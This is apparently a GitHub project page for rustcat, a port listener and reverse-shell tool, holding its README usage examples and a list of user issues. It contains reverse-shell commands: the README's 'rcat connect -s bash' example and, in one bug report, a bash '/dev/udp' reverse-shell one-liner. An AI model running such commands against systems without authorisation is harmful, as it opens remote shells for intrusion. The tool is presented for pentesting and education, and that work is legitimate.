robiot / rustcat

Rustcat(rcat) - The modern Port listener and Reverse shell

rustcat - The modern port listener and reverse shell

What is Rustcat

Rustcat is an easy to use port listener and reverse shell for Linux, MacOS, and Windows aimed to be easy to use and accessible.

Modes

• Listen mode (listen);
• Reverse shell mode (connect);

Features

• Command history & Tab completion (Interactive mode);
• CTRL-C blocking;
• Colors;
• Everything easy;

Installing

Check out the Installation Guide. Or if you want to have it portable, check out the latest release

Usage

The most basic and useful example to start listening on a port would be (you can even run vim inside rustcat with this):

rcat listen -ib 55600

and to connect:

rcat connect -s bash the.0.0.ip 55600

For some more basic usage, check here

Disclaimer

This tool may be used for educational purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

rustcat's Issues

Only lock `SIGINT` after connection recieved

And possibly send an emulated ctrl-c to the host.

Add to Blackarch & Kali (Maybe)

Command history

For example if you press up arrow it puts the last ran command

Emojify it

The thing is, it is colour full, but it could get a little bit more.
So the idea is to emojify it!

GPL-3.0 is a deprecated SPDX license

👋 GPL-3.0 is deprecated by SPDX, please consider using GPL-3.0-only or GPL-3.0-or-later. Thanks!

rustcat/Cargo.toml

Line 6 in cc949d2

license = "GPL-3.0"

Windows Reverse Shell Support

It will be almost the same as unixshell.rs except you need to replace as_raw_fd and from_raw_fd with https://doc.rust-lang.org/std/os/windows/io/

It will be different than unix since windows doesn't have unified fds.

Kali/Debian install instruction not working.

This is the output of just pasting the Debian install script in the terminal:

Welcome to the Rustcat Debian installer
Curl installed, moving on...
Getting latest version...
Found rcat-3.0.0-linux-x86_64.deb
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- 0:00:07 --:--:-- 0
100 9 100 9 0 0 1 0 0:00:09 0:00:07 0:00:02 0
Reading package lists... Error!
E: Invalid archive signature
E: Internal error, could not locate member control.tar{.zst,.lz4,.gz,.xz,.bz2,.lzma,}
E: Could not read meta data from /tmp/rcat-3.0.0-linux-x86_64.deb
E: The package lists or status file could not be parsed or opened.
Failed to install

Add a legal disclaimer in the readme

Match Reverse Shell Connection Instead Of Unwrap On Port

Automated release assets

Makefile with build commands for linux & osx.

Specify Reverse Shell Ip

is windows \ osx support in plans?

Hello @robiot thanks a lot for your project ;) do you plan windows / osx releases?

Message when connection received

Create Tests

Update Readme gifs

Add crypto TCP/UDP data

Many firewall could block TCP data without encryption

Choose between local history or normal mode

This is because on non linux hosts, the normal history mode is sometimes not working correctly.

-E Option

Use rustcat itself as a reverse shell instead of /dev/tcp or any other

Cannot clear screen / No colors

I really love this tool but this tool is missing a few features.

• I was able to clear screen with Ctrl + L with regular combination of rlwrap and ncat. I am not able to do the same with this.
• There are no colors (with simple commands like ls -la. cannot highlight executables.)
• What's wrong with arrow keys
  

Implemenet Custom Builtin "stty cbreak -echo" For Command History

Instead of rustyline on unix, implement a custom function in rust that does the same as "stty cbreak -echo".

https://github.com/wertarbyte/coreutils/blob/master/src/stty.c

connect without shell

My use case is connecting to rpdb https://github.com/isakigus/rpdb.

Is there a way to connect without opening up a shell? Any ideas how to workaround this?

Add udp support

Hi I have a problem with the exe version

ISSUE TYPE : When I open the exe version for windows nothing happens it doesn't open

OS / ENVIRONMENT : 1. [Operating system: windows 2. [Rustcat version: lasted

Errors Instead Of Printing Help

Replace unwraps with match

Replace all .unwrap() with match or something else to prevent panic

How to create a executable file with cargo for windows?

Hello! i need help with this issue, i'm newbie and dont understand, how to create .exe file for windows? Is it possible?

Easier installation

`rc` binary name clashes with openrc

The rustcat binary name rc clashes with /sbin/rc on OpenRC systems, which may cause some weirdness if installed to a directory with higher precendence than /sbin for some reason.

I noticed this while packaging rustcat for Funtoo Linux, which is an OpenRC distro. We've decided to install rustcat in /usr/bin/rustcat instead of /usr/bin/rc for the time being. If this is something you even care about, considering an alternative name for the binary would be preferred. I thought I might let you know anyway :^)

UDP shell only recognises 1st input character

ISSUE TYPE:

• Bug Report

OS / ENVIRONMENT:

• Operating system: 5.14.5-arch1-1
• Rustcat version: rustcat 1.2.0

STEPS TO REPRODUCE:

1. (client) rc -ul localhost 1337
2. (target) bash -c 'bash -i >& /dev/udp/localhost/1337 0>&1'
3. (client)
   • type command & press enter
   • notice >> prompt with
     • only 1st typed character being repeated
     • command not being executed

EXPECTED BEHAVIOUR:

Normal shell behavior we all know.

ACTUAL BEHAVIOUR:

The 1st typed character is being "locked in". Meaning, to actually execute a command (e.g. pwd) one must:

1. type 1st char (p) and enter
2. type 2nd char (w) and enter
3. type 3rd char (d) and enter
4. enter to send the actual enter

Create Packages

Create packages for debian and aur